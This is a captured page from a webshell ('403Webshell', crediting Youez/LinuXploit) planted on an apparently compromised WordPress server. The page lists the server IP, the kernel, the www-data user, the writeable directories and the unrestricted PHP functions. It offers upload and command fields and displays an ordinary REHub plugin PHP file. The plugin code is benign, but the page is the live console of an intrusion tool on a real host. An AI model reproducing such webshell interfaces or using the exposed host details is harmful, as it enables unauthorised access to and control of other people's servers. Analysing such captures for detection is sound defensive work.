403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.216.246
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/rehub-framework/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/rehub-framework/includes/class-rehub.php
<?php
/**
 * REHub setup
 *
 * @package REHub
 * @since   1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Main REHub Class.
 */
final class REHub_Framework {
	
	public $version = RH_PLUGIN_VER;

	/* REHub Constructor.*/
	public function __construct() {
		$this->includes();
		$this->init_hooks();

		do_action( 'rehub_framework_loaded' );
	}

	/* Include required core files */
	public function includes() {

		include_once RH_FRAMEWORK_ABSPATH .'/includes/helper-functions.php';
		// Run framework
		include_once RH_FRAMEWORK_ABSPATH .'/vendor/vafpress/bootstrap.php';
		include_once RH_FRAMEWORK_ABSPATH .'/includes/option_helpers.php';
		
		//add custom taxonomy and CPT
		include_once RH_FRAMEWORK_ABSPATH .'/includes/taxonomy_cpt.php';
		include_once RH_FRAMEWORK_ABSPATH .'/includes/woo_group_attributes_class.php';

		//add widgets
		include_once RH_FRAMEWORK_ABSPATH .'/includes/widgets.php';
	}

	/* Hook into actions and filters.*/
	private function init_hooks() {
		add_action( 'init', array( $this, 'init' ));
		add_action( 'wp_enqueue_scripts', array( $this, 'front_styles_scripts' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'admin_styles_scripts' ) );
	}

	/* Init REHub when WordPress Initialises.*/
	public function init() {

		//Options load
		include_once RH_FRAMEWORK_ABSPATH .'/includes/option_functions.php';
		include_once RH_FRAMEWORK_ABSPATH .'/includes/customizer.php';
		//add meta panels
		include_once RH_FRAMEWORK_ABSPATH .'/includes/vp_metabox.php';

		if( is_admin() ) {
			include_once RH_FRAMEWORK_ABSPATH .'/includes/theme_metabox.php';
			require_once RH_FRAMEWORK_ABSPATH .'/install/index.php';
		}

		// Init WooCommerce Group Attributes
		if( class_exists( 'WooCommerce' ) ){
			$group_attributes_post_type = new REHub_WC_Group_Attributes( $this->version );
			$group_attributes_post_type->init();
		}
		
		// Add Theme shortcodes
		$this->init_shortcodes();
		load_plugin_textdomain( 'rehub-framework', false, RH_FRAMEWORK_ABSPATH . '/lang/' );
	}				
	
	/*  */
	private function init_shortcodes() {
		$shortcodes = include RH_FRAMEWORK_ABSPATH . '/includes/shortcodes.php';
		
		if( empty( $shortcodes ) )
			return;
	
		foreach( $shortcodes as $shortcode => $function ){
			if( function_exists( $function ) ){
				add_shortcode( $shortcode, $function );
			}
		}
	}

	/* Enqueue styles & scripts */
	public function admin_styles_scripts( $hook ) {
		wp_enqueue_style( 'rh_admin_css', RH_FRAMEWORK_URL .'/assets/css/admin.css', false, $this->version );
		VP_Site_GoogleWebFont::instance()->register_and_enqueue();
	}
	public function front_styles_scripts() {
		VP_Site_GoogleWebFont::instance()->register_and_enqueue();
	}	
	
	/* Get REHub theme option value by key */
	public static function get_option( $key ) {
		$options = get_option( 'rehub_option' );
		$value = (!empty($options[$key])) ? $options[$key] : '';
		return $value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit